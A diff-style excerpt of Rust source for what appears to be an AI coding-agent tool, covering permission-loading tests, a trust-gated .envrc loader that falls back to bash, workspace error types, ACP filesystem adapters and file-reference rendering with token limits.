assert_eq!(json["b"], true);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn toml_to_json_nested_table() {
|
||||
let toml_val: toml::Value = toml::from_str("[section]\nkey = \"value\"\n").unwrap();
|
||||
let json = toml_to_json(&toml_val);
|
||||
assert_eq!(json["section"]["key"], "value");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn toml_to_json_array() {
|
||||
let toml_val: toml::Value = toml::from_str("items = [1, 2, 3]\n").unwrap();
|
||||
let json = toml_to_json(&toml_val);
|
||||
assert_eq!(json["items"][0], 1);
|
||||
assert_eq!(json["items"][2], 3);
|
||||
}
|
||||
|
||||
// ---- Permissions tests ----
|
||||
|
||||
// Note: `resolve_permissions_with_provenance` checks system-managed
|
||||
// settings and requirements.toml from the global config, so on a
|
||||
// developer machine with Grok installed it may return non-Null even
|
||||
// for a temp directory. Both branches assert a concrete condition.
|
||||
|
||||
#[tokio::test]
|
||||
async fn load_permissions_returns_valid_json() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let result = load_permissions(tmp.path()).await;
|
||||
// Result is either Null (no sources) or an object with
|
||||
// sources, loaded, and skipped fields. Both branches assert
|
||||
// a definite pass criterion.
|
||||
if result.is_null() {
|
||||
// No permission sources on this machine — Null is correct.
|
||||
assert_eq!(result, Value::Null, "expected Null for empty workspace");
|
||||
} else {
|
||||
assert!(result["sources"].is_array(), "sources should be an array");
|
||||
assert!(result["loaded"].is_number(), "loaded should be a number");
|
||||
assert!(result["skipped"].is_array(), "skipped should be an array");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn load_permissions_with_settings_file_returns_object() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
// Create a minimal .claude/settings.json with a permission rule
|
||||
// so the test always exercises the non-null path.
|
||||
let claude_dir = tmp.path().join(".claude");
|
||||
fs::create_dir_all(&claude_dir).unwrap();
|
||||
fs::write(
|
||||
claude_dir.join("settings.json"),
|
||||
r#"{"permissions":{"allow":["Bash(git status)"]}}"#,
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let result = load_permissions(tmp.path()).await;
|
||||
assert!(result.is_object(), "should return an object, got {result}");
|
||||
assert!(result["sources"].is_array(), "sources should be an array");
|
||||
assert!(result["loaded"].is_number(), "loaded should be a number");
|
||||
assert!(result["skipped"].is_array(), "skipped should be an array");
|
||||
assert!(
|
||||
result["loaded"].as_u64().unwrap_or(0) >= 1,
|
||||
"should have at least one loaded rule"
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,285 @@
|
||||
//! Parse .envrc files and extract environment variables.
|
||||
//!
|
||||
//! This module provides a way to load environment variables from `.envrc` files.
|
||||
//! It uses a two-tier approach:
|
||||
//!
|
||||
//! 1. **Try `direnv export json`** - If direnv is installed, use it for full compatibility
|
||||
//! 2. **Fallback to bash** - Run .envrc in a bash subshell with direnv stubs
|
||||
//!
|
||||
//! This approach handles:
|
||||
//! - Variable expansion ($HOME, ${VAR:-default})
|
||||
//! - Command substitution ($(git rev-parse ...))
|
||||
//! - Conditional logic (if/then/else)
|
||||
//! - direnv helper functions (source_up_if_exists, PATH_add, etc.)
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::path::Path;
|
||||
use std::process::Command;
|
||||
|
||||
/// Stub implementations of common direnv helper functions.
|
||||
/// These are prepended to the .envrc before execution when direnv is not available.
|
||||
const DIRENV_STUBS: &str = r#"
|
||||
# Stub direnv helper functions
|
||||
source_up_if_exists() { :; }
|
||||
source_up() { :; }
|
||||
source_env_if_exists() {
|
||||
if [ -f "$1" ]; then
|
||||
. "$1"
|
||||
fi
|
||||
}
|
||||
source_env() {
|
||||
if [ -f "$1" ]; then
|
||||
. "$1"
|
||||
fi
|
||||
}
|
||||
PATH_add() {
|
||||
export PATH="$PWD/$1:$PATH"
|
||||
}
|
||||
path_add() {
|
||||
PATH_add "$@"
|
||||
}
|
||||
layout() { :; }
|
||||
use() { :; }
|
||||
watch_file() { :; }
|
||||
"#;
|
||||
|
||||
/// Load environment variables from .envrc file in the given directory.
|
||||
///
|
||||
/// Returns a HashMap of environment variables that were set/modified by the .envrc.
|
||||
/// Returns None if no .envrc exists or if parsing fails.
|
||||
pub fn load_envrc(dir: &Path) -> Option<HashMap<String, String>> {
|
||||
let envrc_path = dir.join(".envrc");
|
||||
if !envrc_path.exists() {
|
||||
tracing::debug!(?dir, ".envrc not found");
|
||||
return None;
|
||||
}
|
||||
|
||||
// Try direnv first (most reliable if installed)
|
||||
if let Some(env) = try_direnv_export(dir) {
|
||||
return Some(env);
|
||||
}
|
||||
|
||||
// Fall back to bash subshell approach
|
||||
load_envrc_via_bash(dir)
|
||||
}
|
||||
|
||||
/// Try to use `direnv export json` to load environment variables.
|
||||
/// Returns None if direnv is not installed or fails.
|
||||
fn try_direnv_export(dir: &Path) -> Option<HashMap<String, String>> {
|
||||
let mut cmd = Command::new("direnv");
|
||||
cmd.args(["export", "json"])
|
||||
.current_dir(dir)
|
||||
.stdin(std::process::Stdio::null());
|
||||
kigi_tools::util::detach_std_command(&mut cmd);
|
||||
let output = cmd.output().ok()?;
|
||||
|
||||
if !output.status.success() {
|
||||
// direnv not allowed, or other error
|
||||
let stderr = String::from_utf8_lossy(&output.stderr);
|
||||
if !stderr.contains("not allowed") {
|
||||
tracing::debug!(?dir, %stderr, "direnv export failed");
|
||||
}
|
||||
return None;
|
||||
}
|
||||
|
||||
let stdout = String::from_utf8_lossy(&output.stdout);
|
||||
if stdout.trim().is_empty() {
|
||||
// No changes from direnv
|
||||
return None;
|
||||
}
|
||||
|
||||
// Parse JSON output: {"VAR": "value", ...}
|
||||
// Note: direnv also outputs null for vars to unset, but we ignore those
|
||||
match serde_json::from_str::<HashMap<String, serde_json::Value>>(&stdout) {
|
||||
Ok(json) => {
|
||||
let env: HashMap<String, String> = json
|
||||
.into_iter()
|
||||
.filter_map(|(k, v)| {
|
||||
if let serde_json::Value::String(s) = v {
|
||||
Some((k, s))
|
||||
} else {
|
||||
None // Skip null values (unset)
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
|
||||
if env.is_empty() {
|
||||
None
|
||||
} else {
|
||||
tracing::info!(?dir, count = env.len(), "Loaded environment via direnv");
|
||||
Some(env)
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::warn!(?dir, ?e, "Failed to parse direnv JSON output");
|
||||
None
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Load environment by running .envrc in a bash subshell.
|
||||
/// This is the fallback when direnv is not installed.
|
||||
fn load_envrc_via_bash(dir: &Path) -> Option<HashMap<String, String>> {
|
||||
let envrc_path = dir.join(".envrc");
|
||||
|
||||
// Build a script that:
|
||||
// 1. Includes direnv stubs
|
||||
// 2. Sources the .envrc
|
||||
// 3. Outputs all env vars as KEY=VALUE pairs (null-separated for safety)
|
||||
let script = format!(
|
||||
r#"
|
||||
set -e
|
||||
cd "{dir}"
|
||||
{stubs}
|
||||
. "{envrc}"
|
||||
# Output all environment variables, null-separated
|
||||
env -0
|
||||
"#,
|
||||
dir = dir.display(),
|
||||
stubs = DIRENV_STUBS,
|
||||
envrc = envrc_path.display(),
|
||||
);
|
||||
|
||||
// Capture baseline environment (before running .envrc)
|
||||
let baseline: HashMap<String, String> = std::env::vars().collect();
|
||||
|
||||
// Run the script and capture output
|
||||
let mut bash_cmd = Command::new("/bin/bash");
|
||||
bash_cmd
|
||||
.arg("-c")
|
||||
.arg(&script)
|
||||
.current_dir(dir)
|
||||
.stdin(std::process::Stdio::null());
|
||||
kigi_tools::util::detach_std_command(&mut bash_cmd);
|
||||
let output = bash_cmd.output();
|
||||
|
||||
let output = match output {
|
||||
Ok(o) if o.status.success() => o,
|
||||
Ok(_) => {
|
||||
tracing::warn!(?envrc_path, "Failed to execute .envrc via bash");
|
||||
return None;
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::warn!(?envrc_path, ?e, "Failed to run bash for .envrc");
|
||||
return None;
|
||||
}
|
||||
};
|
||||
|
||||
// Parse the null-separated KEY=VALUE pairs
|
||||
let stdout = String::from_utf8_lossy(&output.stdout);
|
||||
let mut result: HashMap<String, String> = HashMap::new();
|
||||
|
||||
for entry in stdout.split('\0') {
|
||||
if entry.is_empty() {
|
||||
continue;
|
||||
}
|
||||
if let Some((key, value)) = entry.split_once('=') {
|
||||
// Skip internal/noise variables
|
||||
let ignored_keys = ["_", "SHLVL", "PWD", "OLDPWD"];
|
||||
if ignored_keys.contains(&key) {
|
||||
continue;
|
||||
}
|
||||
// Only include vars that are new or changed from baseline
|
||||
match baseline.get(key) {
|
||||
Some(baseline_value) if baseline_value == value => {
|
||||
// Unchanged, skip
|
||||
}
|
||||
_ => {
|
||||
// New or changed
|
||||
result.insert(key.to_string(), value.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if result.is_empty() {
|
||||
tracing::debug!(?envrc_path, "No environment changes from .envrc");
|
||||
None
|
||||
} else {
|
||||
tracing::info!(
|
||||
?envrc_path,
|
||||
count = result.len(),
|
||||
"Loaded environment from .envrc via bash"
|
||||
);
|
||||
Some(result)
|
||||
}
|
||||
}
|
||||
|
||||
/// Load .envrc and return the environment, or empty HashMap on failure.
|
||||
pub fn load_envrc_or_empty(dir: &Path) -> HashMap<String, String> {
|
||||
load_envrc(dir).unwrap_or_default()
|
||||
}
|
||||
|
||||
/// [`load_envrc_or_empty`] gated on folder-trust: loads the repo-local `.envrc`
|
||||
/// (executed in a bash subshell) only when `trusted`, else returns an empty map.
|
||||
/// The shell call sites pass the `project_scope_allowed` verdict so the "run a
|
||||
/// cloned repo's `.envrc` only when the folder is trusted" rule lives in ONE
|
||||
/// place (mirrors `permission::claude_settings::load_claude_env_with_project`).
|
||||
pub fn load_envrc_or_empty_when_trusted(dir: &Path, trusted: bool) -> HashMap<String, String> {
|
||||
if trusted {
|
||||
load_envrc_or_empty(dir)
|
||||
} else {
|
||||
HashMap::new()
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::fs;
|
||||
use tempfile::TempDir;
|
||||
|
||||
#[test]
|
||||
fn test_simple_export() {
|
||||
let dir = TempDir::new().unwrap();
|
||||
fs::write(dir.path().join(".envrc"), "export FOO=bar\n").unwrap();
|
||||
|
||||
let env = load_envrc(dir.path()).unwrap();
|
||||
assert_eq!(env.get("FOO"), Some(&"bar".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_variable_expansion() {
|
||||
let dir = TempDir::new().unwrap();
|
||||
fs::write(dir.path().join(".envrc"), "export MY_DIR=$PWD/subdir\n").unwrap();
|
||||
|
||||
let env = load_envrc(dir.path()).unwrap();
|
||||
let expected = format!("{}/subdir", dir.path().display());
|
||||
assert_eq!(env.get("MY_DIR"), Some(&expected));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_no_envrc() {
|
||||
let dir = TempDir::new().unwrap();
|
||||
assert!(load_envrc(dir.path()).is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_path_add() {
|
||||
let dir = TempDir::new().unwrap();
|
||||
fs::write(dir.path().join(".envrc"), "PATH_add bin\n").unwrap();
|
||||
|
||||
let env = load_envrc(dir.path()).unwrap();
|
||||
let path = env.get("PATH").unwrap();
|
||||
assert!(path.contains(&format!("{}/bin", dir.path().display())));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_conditional() {
|
||||
let dir = TempDir::new().unwrap();
|
||||
fs::write(
|
||||
dir.path().join(".envrc"),
|
||||
r#"
|
||||
if [ -d "$PWD" ]; then
|
||||
export EXISTS=yes
|
||||
else
|
||||
export EXISTS=no
|
||||
fi
|
||||
"#,
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let env = load_envrc(dir.path()).unwrap();
|
||||
assert_eq!(env.get("EXISTS"), Some(&"yes".to_string()));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
//! Workspace error types.
|
||||
|
||||
use crate::capability::CapabilityMode;
|
||||
|
||||
/// Errors surfaced by the workspace public API.
|
||||
///
|
||||
/// `#[non_exhaustive]` so adding new variants is a non-breaking change.
|
||||
/// Tests should match on variants rather than scrape the `Display` text.
|
||||
#[derive(Debug, thiserror::Error)]
|
||||
#[non_exhaustive]
|
||||
pub enum WorkspaceError {
|
||||
#[error("parent session not found: {0}")]
|
||||
ParentSessionNotFound(String),
|
||||
|
||||
#[error("session not found: {0}")]
|
||||
SessionNotFound(String),
|
||||
|
||||
#[error("session already exists: {0}")]
|
||||
SessionAlreadyExists(String),
|
||||
|
||||
#[error("agent_id must be non-empty")]
|
||||
EmptyAgentId,
|
||||
|
||||
#[error("the main session cannot be dropped")]
|
||||
CannotDropMainSession,
|
||||
|
||||
#[error("toolset finalization failed: {0}")]
|
||||
Finalize(String),
|
||||
|
||||
#[error("capability widening rejected: child {child:?} is not a subset of parent {parent:?}")]
|
||||
CapabilityWidening {
|
||||
parent: CapabilityMode,
|
||||
child: CapabilityMode,
|
||||
},
|
||||
|
||||
#[error("session {caller:?} is not authorised to operate on session {target:?}")]
|
||||
Unauthorized { caller: String, target: String },
|
||||
|
||||
/// A toolset mutation was rejected because the target session has an
|
||||
/// active turn. Retryable at the turn boundary (`after_turn`).
|
||||
#[error("turn active for session {0}; retry the tool-config update at the turn boundary")]
|
||||
TurnActive(String),
|
||||
|
||||
#[error("maximum fork depth exceeded for parent session {parent:?}")]
|
||||
MaxDepthExceeded { parent: String },
|
||||
|
||||
#[error("internal task failure: {0}")]
|
||||
JoinError(String),
|
||||
|
||||
#[error("invalid hunk action: {0}")]
|
||||
InvalidHunkAction(String),
|
||||
|
||||
#[error("hunk action failed: {0}")]
|
||||
HunkActionFailed(String),
|
||||
|
||||
/// An error from the server connection or tool server.
|
||||
#[error("hub error: {0}")]
|
||||
HubError(String),
|
||||
|
||||
/// Deploy-service error tagged with its gRPC status class; see
|
||||
/// [`DeployError`] for how the class crosses the workspace RPC boundary.
|
||||
///
|
||||
/// [`DeployError`]: kigi_workspace_types::rpc::deploy::DeployError
|
||||
#[error("deploy error: {message}")]
|
||||
DeployError {
|
||||
kind: kigi_workspace_types::rpc::deploy::DeployError,
|
||||
message: String,
|
||||
},
|
||||
|
||||
/// The workspace is draining/shutting down and is no longer accepting new
|
||||
/// sessions. Surfaced when a `bind`/create races a terminal drain so the
|
||||
/// shared upload queue is never torn down out from under a fresh session.
|
||||
#[error("workspace is shutting down; not accepting new sessions")]
|
||||
ShuttingDown,
|
||||
|
||||
/// The session's toolset is externally owned — installed by a local
|
||||
/// (shell) bind, its `Terminal` resource is not the session-owned
|
||||
/// backend — so an RPC-driven toolset mutation is refused instead of
|
||||
/// silently skipped. Hard error: retrying cannot succeed while the
|
||||
/// local bind holds the toolset.
|
||||
#[error("toolset externally owned (local bind), mutation refused: {0}")]
|
||||
ToolsetExternallyOwned(String),
|
||||
}
|
||||
|
||||
/// Convenience alias for the workspace's primary `Result` type.
|
||||
pub type WorkspaceResult<T> = Result<T, WorkspaceError>;
|
||||
@@ -0,0 +1,179 @@
|
||||
use crate::file_system::{AsyncFileSystem, FsError};
|
||||
use agent_client_protocol as acp;
|
||||
use kigi_acp_lib::AcpAgentGatewaySender as GatewaySender;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
pub struct AcpSessionFs {
|
||||
root: PathBuf,
|
||||
gateway: GatewaySender,
|
||||
session_id: acp::SessionId,
|
||||
/// When set, any path under `display_cwd` is rewritten to `root` before
|
||||
/// being sent to the extension. This is the defense-in-depth guard for
|
||||
/// AB overlay isolation: if a tool accidentally passes the display path
|
||||
/// (e.g., `/testbed/project/foo.rs`) instead of the overlay path
|
||||
/// (`~/.kigi/worktrees/.../b-overlay/foo.rs`), the adapter rewrites it
|
||||
/// so the extension reads/writes to the correct overlay location.
|
||||
display_cwd: Option<PathBuf>,
|
||||
}
|
||||
|
||||
impl AcpSessionFs {
|
||||
pub fn new(root: PathBuf, session_id: acp::SessionId, gateway: GatewaySender) -> Self {
|
||||
Self {
|
||||
root,
|
||||
session_id,
|
||||
gateway,
|
||||
display_cwd: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Set the display CWD for path rewriting.
|
||||
///
|
||||
/// When AB FS isolation is active, the model sees `display_cwd`
|
||||
/// (e.g., `/testbed/project`) but writes should go to `root`
|
||||
/// (the overlay path). Any path under `display_cwd` is rewritten
|
||||
/// to the equivalent path under `root`.
|
||||
pub fn with_display_cwd(mut self, display_cwd: PathBuf) -> Self {
|
||||
self.display_cwd = Some(display_cwd);
|
||||
self
|
||||
}
|
||||
|
||||
/// Rewrite a display path to the overlay path if needed.
|
||||
fn resolve_path(&self, path: &Path) -> PathBuf {
|
||||
if let Some(ref display) = self.display_cwd
|
||||
&& let Ok(suffix) = path.strip_prefix(display)
|
||||
{
|
||||
let resolved = self.root.join(suffix);
|
||||
tracing::debug!(
|
||||
display_path = %path.display(),
|
||||
resolved_path = %resolved.display(),
|
||||
"AcpSessionFs: rewrote display path to overlay path"
|
||||
);
|
||||
return resolved;
|
||||
}
|
||||
path.to_path_buf()
|
||||
}
|
||||
}
|
||||
|
||||
#[async_trait::async_trait]
|
||||
impl AsyncFileSystem for AcpSessionFs {
|
||||
fn root(&self) -> &Path {
|
||||
&self.root
|
||||
}
|
||||
|
||||
async fn exists(&self, path: &Path) -> Result<bool, FsError> {
|
||||
let resolved = self.resolve_path(path);
|
||||
let read_req = acp::ReadTextFileRequest::new(self.session_id.clone(), resolved).limit(0);
|
||||
match self.gateway.send(read_req).await {
|
||||
Ok(_) => Ok(true),
|
||||
Err(e) if e.code == acp::ErrorCode::ResourceNotFound => Ok(false),
|
||||
Err(e) => Err(FsError::Other(e.to_string())),
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_file(&self, path: &Path) -> Result<Vec<u8>, FsError> {
|
||||
let resolved = self.resolve_path(path);
|
||||
let read_req = acp::ReadTextFileRequest::new(self.session_id.clone(), resolved);
|
||||
let response = self
|
||||
.gateway
|
||||
.send(read_req)
|
||||
.await
|
||||
.map_err(|e| FsError::Other(e.to_string()))?;
|
||||
Ok(response.content.into_bytes())
|
||||
}
|
||||
|
||||
async fn try_read_file(&self, path: &Path) -> Result<Option<Vec<u8>>, FsError> {
|
||||
let resolved = self.resolve_path(path);
|
||||
let read_req = acp::ReadTextFileRequest::new(self.session_id.clone(), resolved);
|
||||
match self.gateway.send(read_req).await {
|
||||
Ok(response) => Ok(Some(response.content.into_bytes())),
|
||||
Err(e) if e.code == acp::ErrorCode::ResourceNotFound => Ok(None),
|
||||
Err(e) => Err(FsError::Other(e.to_string())),
|
||||
}
|
||||
}
|
||||
|
||||
async fn write_file(&self, path: &Path, data: &[u8]) -> Result<(), FsError> {
|
||||
let resolved = self.resolve_path(path);
|
||||
let write_req = acp::WriteTextFileRequest::new(
|
||||
self.session_id.clone(),
|
||||
resolved,
|
||||
String::from_utf8(data.to_vec()).map_err(|e| FsError::Other(e.to_string()))?,
|
||||
);
|
||||
self.gateway
|
||||
.send(write_req)
|
||||
.await
|
||||
.map_err(|e| FsError::Other(e.to_string()))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn delete_file(&self, path: &Path) -> Result<(), FsError> {
|
||||
// ACP protocol doesn't support file deletion yet
|
||||
// For now, we'll log a warning and return Ok (no-op)
|
||||
tracing::warn!(?path, "ACP filesystem does not support file deletion");
|
||||
Err(FsError::Other(
|
||||
"File deletion not supported via ACP".to_string(),
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
// resolve_path only uses self.root and self.display_cwd — extract
|
||||
// the logic into a standalone test helper that doesn't need a gateway.
|
||||
fn test_resolve(root: &str, display_cwd: Option<&str>, input: &str) -> PathBuf {
|
||||
let root = PathBuf::from(root);
|
||||
let display = display_cwd.map(PathBuf::from);
|
||||
// Inline the same logic as resolve_path
|
||||
if let Some(ref display) = display
|
||||
&& let Ok(suffix) = Path::new(input).strip_prefix(display)
|
||||
{
|
||||
return root.join(suffix);
|
||||
}
|
||||
PathBuf::from(input)
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn resolve_path_rewrites_display_to_overlay() {
|
||||
let result = test_resolve(
|
||||
"/root/.kigi/worktrees/proj/ab-123-b-overlay",
|
||||
Some("/testbed/proj"),
|
||||
"/testbed/proj/src/main.rs",
|
||||
);
|
||||
assert_eq!(
|
||||
result,
|
||||
PathBuf::from("/root/.kigi/worktrees/proj/ab-123-b-overlay/src/main.rs")
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn resolve_path_passes_through_overlay_path() {
|
||||
let overlay_path = "/root/.kigi/worktrees/proj/ab-123-b-overlay/src/main.rs";
|
||||
let result = test_resolve(
|
||||
"/root/.kigi/worktrees/proj/ab-123-b-overlay",
|
||||
Some("/testbed/proj"),
|
||||
overlay_path,
|
||||
);
|
||||
assert_eq!(result, PathBuf::from(overlay_path));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn resolve_path_no_display_cwd_passthrough() {
|
||||
let result = test_resolve(
|
||||
"/root/.kigi/worktrees/proj/ab-123-b-overlay",
|
||||
None,
|
||||
"/testbed/proj/src/main.rs",
|
||||
);
|
||||
assert_eq!(result, PathBuf::from("/testbed/proj/src/main.rs"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn resolve_path_relative_path_passthrough() {
|
||||
let result = test_resolve(
|
||||
"/root/.kigi/worktrees/proj/ab-123-b-overlay",
|
||||
Some("/testbed/proj"),
|
||||
"src/main.rs",
|
||||
);
|
||||
assert_eq!(result, PathBuf::from("src/main.rs"));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
//! AcpFsAdapter: implements `kigi-tools::AsyncFileSystem` using ACP gateway calls.
|
||||
//!
|
||||
//! This adapter enables file tool execution over ACP (remote filesystem).
|
||||
//! It translates kigi-tools' `AsyncFileSystem` trait into ACP protocol calls:
|
||||
//! `read_file()` → read_text_file
|
||||
//! `write_file()` → write_text_file
|
||||
//! `delete_file()` → not supported by ACP (returns error)
|
||||
//!
|
||||
//! Mirrors the pattern of `AcpTerminalAdapter` for terminal execution.
|
||||
|
||||
use std::path::Path;
|
||||
|
||||
use agent_client_protocol as acp;
|
||||
use kigi_acp_lib::AcpAgentGatewaySender as GatewaySender;
|
||||
use kigi_tools::computer::types::{AsyncFileSystem, ComputerError};
|
||||
|
||||
/// Wraps kigi-shell's ACP gateway to satisfy kigi-tools' AsyncFileSystem.
|
||||
///
|
||||
/// When a client advertises `clientCapabilities.fs.readTextFile` and `writeTextFile`,
|
||||
/// file operations from tools (read_file, search_replace, etc.) are routed through
|
||||
/// the ACP gateway back to the client instead of hitting the local disk directly.
|
||||
pub struct AcpFsAdapter {
|
||||
gateway: GatewaySender,
|
||||
session_id: acp::SessionId,
|
||||
}
|
||||
|
||||
impl AcpFsAdapter {
|
||||
pub fn new(gateway: GatewaySender, session_id: acp::SessionId) -> Self {
|
||||
Self {
|
||||
gateway,
|
||||
session_id,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[async_trait::async_trait]
|
||||
impl AsyncFileSystem for AcpFsAdapter {
|
||||
async fn read_file(&self, path: &Path) -> Result<Vec<u8>, ComputerError> {
|
||||
let read_req = acp::ReadTextFileRequest::new(self.session_id.clone(), path.to_path_buf());
|
||||
|
||||
let response = self
|
||||
.gateway
|
||||
.send(read_req)
|
||||
.await
|
||||
.map_err(acp_error_to_computer_error)?;
|
||||
|
||||
Ok(response.content.into_bytes())
|
||||
}
|
||||
|
||||
async fn write_file(&self, path: &Path, data: &[u8]) -> Result<(), ComputerError> {
|
||||
let content =
|
||||
String::from_utf8(data.to_vec()).map_err(|e| ComputerError::io(e.to_string()))?;
|
||||
|
||||
let write_req =
|
||||
acp::WriteTextFileRequest::new(self.session_id.clone(), path.to_path_buf(), content);
|
||||
|
||||
self.gateway
|
||||
.send(write_req)
|
||||
.await
|
||||
.map_err(acp_error_to_computer_error)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn delete_file(&self, path: &Path) -> Result<(), ComputerError> {
|
||||
// ACP protocol doesn't support file deletion yet
|
||||
tracing::warn!(?path, "ACP filesystem does not support file deletion");
|
||||
Err(ComputerError::io("File deletion not supported via ACP"))
|
||||
}
|
||||
}
|
||||
|
||||
fn acp_error_to_computer_error(err: acp::Error) -> ComputerError {
|
||||
match acp_error_to_io_kind(&err) {
|
||||
Some(kind) => ComputerError::io_with_kind(err.to_string(), kind),
|
||||
None => ComputerError::io(err.to_string()),
|
||||
}
|
||||
}
|
||||
|
||||
fn acp_error_to_io_kind(err: &acp::Error) -> Option<std::io::ErrorKind> {
|
||||
let msg_lower = err.message.to_ascii_lowercase();
|
||||
|
||||
if err.code == acp::ErrorCode::ResourceNotFound {
|
||||
Some(std::io::ErrorKind::NotFound)
|
||||
} else if msg_lower.contains("permission denied") {
|
||||
Some(std::io::ErrorKind::PermissionDenied)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,540 @@
|
||||
//! Contains utility functions to attach file content and render it according to the
|
||||
//! training format we have been using
|
||||
use agent_client_protocol::{BlobResourceContents, EmbeddedResource, EmbeddedResourceResource};
|
||||
use base64::{Engine as _, engine::general_purpose};
|
||||
use kigi_tools::util::truncate::estimate_tokens;
|
||||
use regex::Regex;
|
||||
use sha2::{Digest, Sha256};
|
||||
use std::path::PathBuf;
|
||||
use tracing::warn;
|
||||
#[cfg(test)]
|
||||
mod persistence {
|
||||
use std::path::PathBuf;
|
||||
pub fn session_dir(_suffix: &str) -> PathBuf {
|
||||
super::session_scratch_root()
|
||||
}
|
||||
}
|
||||
/// Maximum number of estimated tokens for a file to be included inline.
|
||||
/// Files exceeding this limit are represented as a metadata-only stub so the
|
||||
/// model knows the file exists without blowing up the context window.
|
||||
const MAX_FILE_TOKENS: usize = 5_000;
|
||||
/// 8-char content hash for dedup + collision avoidance.
|
||||
fn content_hash(content: &[u8]) -> String {
|
||||
format!("{:x}", Sha256::digest(content))[..8].to_string()
|
||||
}
|
||||
/// Parsed file reference with optional line range.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct FileReference {
|
||||
pub path: PathBuf,
|
||||
/// 1-indexed start line (inclusive)
|
||||
pub start_line: Option<usize>,
|
||||
/// 1-indexed end line (inclusive)
|
||||
pub end_line: Option<usize>,
|
||||
}
|
||||
impl FileReference {
|
||||
/// Parse a file reference string in the format `@{file_path}` or `@{file_path}:L?{start_line}-L?{end_line}`.
|
||||
pub fn parse(input: &str) -> Option<Self> {
|
||||
let re = Regex::new(r"^@?([^@].*?)(?::L?(\d+)-L?(\d+))?$").ok()?;
|
||||
let caps = re.captures(input)?;
|
||||
let path = PathBuf::from(caps.get(1)?.as_str());
|
||||
let start_line: Option<usize> = caps.get(2).and_then(|m| m.as_str().parse().ok());
|
||||
let end_line: Option<usize> = caps.get(3).and_then(|m| m.as_str().parse().ok());
|
||||
Some(Self {
|
||||
path,
|
||||
start_line,
|
||||
end_line,
|
||||
})
|
||||
}
|
||||
}
|
||||
/// Render file content from a `FileReference`.
|
||||
///
|
||||
/// When `is_cursor` is true, renders `<code_selection path="..." lines="X-Y">` format.
|
||||
/// When `is_cursor` is false, renders the original `<file_contents path="..." startLine/endLine/isFullFile>` format.
|
||||
///
|
||||
/// If the rendered content exceeds [`MAX_FILE_TOKENS`] estimated tokens the
|
||||
/// full body is omitted and a metadata-only stub is returned instead so the
|
||||
/// model still knows the file exists.
|
||||
pub async fn render_file_reference(file_ref: FileReference, is_cursor: bool) -> Option<String> {
|
||||
let read_file = tokio::fs::read(&file_ref.path).await;
|
||||
let file_content = if let Ok(read_file_output) = read_file {
|
||||
String::from_utf8(read_file_output).ok()
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let path = file_ref.path.to_string_lossy();
|
||||
let start_line = file_ref.start_line;
|
||||
let end_line = file_ref.end_line;
|
||||
file_content
|
||||
.map(|file_content| {
|
||||
let lines: Vec<&str> = file_content.lines().collect();
|
||||
let line_offset = start_line.unwrap_or(1);
|
||||
let start_idx = (line_offset.saturating_sub(1)).min(lines.len());
|
||||
let end_idx = end_line.unwrap_or(lines.len()).min(lines.len());
|
||||
let sliced_lines = &lines[start_idx..end_idx];
|
||||
let file_content = sliced_lines
|
||||
.iter()
|
||||
.enumerate()
|
||||
.map(|(line_number, content)| {
|
||||
format!("{}→{content}", line_offset + line_number)
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n");
|
||||
let _ = is_cursor;
|
||||
let attrs = match (start_line, end_line) {
|
||||
(Some(s), Some(e)) => format!(r#"startLine="{}" endLine="{}""#, s, e),
|
||||
_ => r#"isFullFile="true""#.to_string(),
|
||||
};
|
||||
if estimate_tokens(&file_content) > MAX_FILE_TOKENS {
|
||||
return format!(
|
||||
r#"<file_contents path="{path}" {attrs} skipped="true" reason="file too large (~{} estimated tokens, limit {MAX_FILE_TOKENS}). Use read_file tool to read specific sections."/>"#,
|
||||
estimate_tokens(& file_content),
|
||||
);
|
||||
}
|
||||
format!(
|
||||
r#"<file_contents path="{path}" {attrs}>
|
||||
{file_content}
|
||||
</file_contents>"#
|
||||
)
|
||||
})
|
||||
}
|
||||
const FILE_REGEX: &str = r"^(?:file://)?([^#]+)(?:#L(\d+)-L?(\d+))?$";
|
||||
/// Render an ACP EmbeddedResource.
|
||||
///
|
||||
/// When `is_cursor` is true, renders `<code_selection>` tags. Otherwise uses `<file_contents>`.
|
||||
